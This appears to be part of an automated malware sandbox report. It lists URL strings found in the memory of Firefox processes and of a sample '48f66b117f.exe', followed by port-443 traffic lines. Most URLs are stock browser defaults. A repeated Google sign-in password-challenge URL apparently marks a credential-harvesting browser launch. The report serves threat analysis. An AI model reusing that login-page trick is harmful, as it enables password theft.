Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3381022150.0000025D8A490000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3661948648.0000025DFFE20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource:///modules/sessionstore/SessionStore.sys.
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3381022150.0000025D8A490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3381022150.0000025D8A490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000021.00000003.3240726414.0000025DFABDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 00000021.00000002.3591525566.0000025DFEBB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000021.00000002.3680235421.00002DB5C6504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://mozilla.org/W
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3381022150.0000025D8A490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3381022150.0000025D8A490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%shttp://poczta.interia.pl/mh/?mailto=%shttp://compose.mail.yah
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000021.00000002.3604672707.0000025DFF707000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comDEVTOOLS_POLICY_DISABLED_PREFto-handle-default-browser-agentdevtools/cli
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 00000021.00000002.3539463660.0000025D8EFA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 00000021.00000002.3539463660.0000025D8EFA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 00000021.00000002.3591525566.0000025DFEBB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000021.00000002.3397930986.0000025D8B300000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com//shims/mochitest-shim-3.js
Source: firefox.exe, 00000021.00000002.3551113866.0000025D93661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000021.00000002.3416033420.0000025D8B913000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000021.00000002.3539463660.0000025D8EFA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3554169471.0000025D9545F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8ECB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E96D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000021.00000002.3489163571.0000025D8CAB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000021.00000002.3488488778.0000025D8C905000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3483618480.0000025D8C7A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000021.00000002.3591525566.0000025DFEBB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3530819711.0000025D8E925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 48f66b117f.exe, 00000010.00000003.3327001641.0000000006081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000021.00000002.3512613594.0000025D8E2B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 48f66b117f.exe, 00000010.00000003.3327001641.0000000006081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000021.00000002.3591525566.0000025DFEBB7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF824000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000021.00000002.3545267235.0000025D93303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: 48f66b117f.exe, 0000000E.00000003.3133123895.0000000005B95000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3353725558.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3354939796.0000000005D69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEAB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 00000021.00000002.3551113866.0000025D93684000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3397930986.0000025D8B300000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000021.00000002.3539463660.0000025D8EF0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/http://www.mozilla.org/keymaster/gatekeeper/there
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: 48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000021.00000002.3551113866.0000025D936C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000021.00000002.3551113866.0000025D936C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000021.00000002.3416033420.0000025D8B913000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3397930986.0000025D8B300000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 48f66b117f.exe, 0000000E.00000003.3078826411.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 0000000E.00000003.3078683427.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3240891439.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241259656.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3241712800.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 00000021.00000002.3551113866.0000025D936C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000021.00000002.3551113866.0000025D936C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: 48f66b117f.exe, 0000000E.00000003.3132548886.0000000005C9A000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3325781157.0000000005E02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: 48f66b117f.exe, 0000000E.00000003.3132548886.0000000005C9A000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3325781157.0000000005E02000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 00000021.00000002.3530819711.0000025D8E963000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 48f66b117f.exe, 00000010.00000003.3327001641.0000000006081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 00000021.00000002.3456532946.0000025D8BD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 48f66b117f.exe, 00000010.00000003.3327001641.0000000006081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 48f66b117f.exe, 00000010.00000003.3327001641.0000000006081000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: 48f66b117f.exe, 0000000E.00000003.3133123895.0000000005B95000.00000004.00000800.00020000.00000000.sdmp, 48f66b117f.exe, 00000010.00000003.3328748124.0000000005D6C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEAAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000003.3240039101.0000025DFEAB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000021.00000002.3496346502.0000025D8CF74000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000021.00000002.3491733708.0000025D8CBEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000021.00000002.3374269106.0000025D87890000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000021.00000002.3498390489.0000025D8D1E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3548939455.0000025D935D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3416033420.0000025D8B913000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000021.00000002.3554169471.0000025D9545F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000021.00000003.3331251111.0000025D8E927000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3539463660.0000025D8EF0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3559125760.0000025DFAB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001F.00000002.3228364888.0000018346BD7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3237802689.00000201E8101000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3557108125.0000025DFA929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdDuration
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdWHERE
Source: firefox.exe, 00000021.00000002.3557108125.0000025DFA929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd~

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
